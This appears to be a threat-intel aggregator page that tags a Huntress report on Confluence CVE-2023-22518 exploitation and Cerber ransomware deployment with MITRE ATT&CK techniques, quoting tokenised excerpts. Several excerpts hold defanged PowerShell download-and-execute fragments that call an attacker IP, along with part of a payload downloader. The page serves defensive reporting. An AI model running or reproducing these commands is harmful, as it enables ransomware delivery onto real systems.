TTPwire Vol. 1 · MITRE ATT&CK·Tagged

← All stories

Huntress

Confluence to Cerber: Exploitation of ​​CVE-2023-22518

2023-11-07 · Read original ↗

ATT&CK techniques detected

9 predictions
T1059.001PowerShell
99%
“new - object net. webclient ). downloadstring ( " hxxp : / / 193. 176. 179 [. ] 41 / tmp. 37 " ) ) existing huntress detections for encoded powershell content contacting a remote resource identified this activity and allowed huntress analysts to respond to the incident. however, …”
T1059.001PowerShell
96%
“confluence to cerber : exploitation of cve - 2023 - 22518 on october 31, 2023, atlassian published patches and an advisory for cve - 2023 - 22518, an improper authorization vulnerability affecting confluence data center and confluence server. later, on november 3, 2023, additiona…”
T1190Exploit Public-Facing Application
95%
“to identify exploitation shortly after patch release due to adversary reliance on common post - exploitation behaviors. building and maintaining “ defense in depth ” postures so that post - exploitation items can be rapidly identified can ensure that even in zero - day exploitati…”
T1190Exploit Public-Facing Application
89%
“##craft for adversaries in e - crime environments, using a combination of legitimate system tools and applications to retrieve payloads for monetization or other purposes. however, the speed at which this campaign unfolded, with only a few days between the release of a patch and …”
T1486Data Encrypted for Impact
81%
“svcprvinit. exe " - windowstyle hidden - argumentlist $ args download _ execute hxxp : / / 193. 176. 179 [. ] 41 / tmp. 37. txt the above powershell snippet attempts to retrieve a raw hex format payload stored at the same address, and writes it to the % temp % location of the exe…”
T1190Exploit Public-Facing Application
67%
“confluence to cerber : exploitation of cve - 2023 - 22518 on october 31, 2023, atlassian published patches and an advisory for cve - 2023 - 22518, an improper authorization vulnerability affecting confluence data center and confluence server. later, on november 3, 2023, additiona…”
T1490Inhibit System Recovery
67%
“and restore a full site backup. while a fully weaponized exploit would inject a malicious site backup to create a new administrator user, this proof of concept injects an empty zip file with a random name. the proof of concept then checks for a known error in the response that in…”
T1059.001PowerShell
66%
“svcprvinit. exe " - windowstyle hidden - argumentlist $ args download _ execute hxxp : / / 193. 176. 179 [. ] 41 / tmp. 37. txt the above powershell snippet attempts to retrieve a raw hex format payload stored at the same address, and writes it to the % temp % location of the exe…”
T1105Ingress Tool Transfer
31%
“##dentials $ proxyauth = $ webclient. proxy. isbypassed ( $ url ) if ( $ proxyauth ) [ string ] $ hexformat = $ webclient. downloadstring ( $ url ) else $ webclient = new - object - comobject internetexplorer. application $ webclient. visible = $ false $ webclient. navigate ( $ u…”

Summary

CVE-2023-22518 is being exploited in Confluence for Cerber ransomware deployment. Read up on Huntress’ observations and mitigation guidance.